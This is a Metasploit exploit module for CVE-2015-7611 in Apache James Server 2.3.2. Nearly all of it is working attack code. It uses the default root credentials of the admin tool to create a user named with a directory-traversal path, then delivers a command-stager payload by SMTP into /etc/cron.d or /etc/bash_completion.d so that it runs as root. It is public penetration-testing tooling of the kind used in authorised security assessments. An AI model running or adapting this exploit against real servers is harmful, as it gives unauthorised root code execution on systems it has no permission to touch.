##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
      'Description'    => %q{
        This module exploits a vulnerability that exists due to a lack of input
        validation when creating a user. Messages for a given user are stored
        in a directory partially defined by the username. By creating a user
        with a directory traversal payload as the username, commands can be
        written to a given directory. To use this module with the cron
        exploitation method, run the exploit using the given payload, host, and
        port. After running the exploit, the payload will be executed within 60
        seconds. Due to differences in how cron may run in certain Linux
        operating systems such as Ubuntu, it may be preferable to set the
        target to Bash Completion as the cron method may not work. If the target
        is set to Bash completion, start a listener using the given payload,
        host, and port before running the exploit. After running the exploit,
        the payload will be executed when a user logs into the system. For this
        exploitation method, bash completion must be enabled to gain code
        execution. This exploitation method will leave an Apache James mail
        object artifact in the /etc/bash_completion.d directory and the
        malicious user account.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Palaczynski Jakub', # Discovery
        'Matthew Aberegg',   # Metasploit
        'Michael Burkey'     # Metasploit
      ],
      'References'     =>
      [
        [ 'CVE', '2015-7611' ],
        [ 'EDB', '35513' ],
        [ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
      ],
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
      [
        [ 'Bash Completion', {
          'ExploitPath' => 'bash_completion.d',
          'ExploitPrepend' => '',
          'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
        } ],
        [ 'Cron', {
          'ExploitPath' => 'cron.d',
          'ExploitPrepend' => '* * * * * root ',
          'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
        } ]
      ],
      'Privileged'     => true,
      'DisclosureDate' => '2015-10-01',
      'DefaultTarget'  => 1,
      'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
      ))
      register_options(
        [
          OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
          OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
          OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
          OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
          Opt::RPORT(25)
        ])
  end

  def check
    # SMTP service check
    connect
    smtp_banner = sock.get_once
    disconnect
    unless smtp_banner.to_s.include? "JAMES SMTP Server"
      return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
    end

    # James Remote Administration Tool service check
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
    admin_banner = sock.get_once
    disconnect
    unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
      return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
    end

    # Get version number
    version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
    # Null check
    unless version
      return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
    end
    # Create version objects
    target_version = Rex::Version.new(version)
    vulnerable_version = Rex::Version.new("2.3.2")

    # Check version number
    if target_version > vulnerable_version
      return CheckCode::Safe
    elsif target_version == vulnerable_version
      return CheckCode::Appears
    elsif target_version < vulnerable_version
      return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
    end
  end

  def execute_james_admin_tool_command(cmd)
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
    sock.get_once
    sock.puts(username + "\n")
    sock.get_once
    sock.puts(password + "\n")
    sock.get_once
    sock.puts(cmd)
    sock.get_once
    sock.puts("quit\n")
    disconnect
  end

  def cleanup
    return unless target['ExploitPath'] == "cron.d"
    # Delete mail objects containing payload from cron.d
    username = "../../../../../../../../etc/cron.d"
    password = @account_password
    begin
      connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
      sock.get_once
      sock.puts("USER #{username}\r\n")
      sock.get_once
      sock.puts("PASS #{password}\r\n")
      sock.get_once
      sock.puts("dele 1\r\n")
      sock.get_once
      sock.puts("quit\r\n")
      disconnect
    rescue
      print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
    end

    # Delete malicious user
    delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
    execute_james_admin_tool_command(delete_user_command)
  end

  def execute_command(cmd, opts = {})
    # Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
    exploit_path = target['ExploitPath']
    @account_password = Rex::Text.rand_text_alpha(8..12)
    add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
    execute_james_admin_tool_command(add_user_command)

    # Send payload via SMTP
    payload_prepend = target['ExploitPrepend']
    connect
    sock.puts("ehlo admin@apache.com\r\n")
    sock.get_once
    sock.puts("mail from: <'@apache.com>\r\n")
    sock.get_once
    sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
    sock.get_once
    sock.puts("data\r\n")
    sock.get_once
    sock.puts("From: admin@apache.com\r\n")
    sock.puts("\r\n")
    sock.puts("'\n")
    sock.puts("#{payload_prepend}#{cmd}\n")
    sock.puts("\r\n.\r\n")
    sock.get_once
    sock.puts("quit\r\n")
    sock.get_once
    disconnect
  end

  def execute_cmdstager_end(opts)
    if target['ExploitPath'] == "cron.d"
      print_status("Waiting for cron to execute payload...")
    else
      print_status("Payload will be triggered when someone logs onto the target")
      print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
      print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
    end
  end

  def exploit
    execute_cmdstager(background: true)
  end

end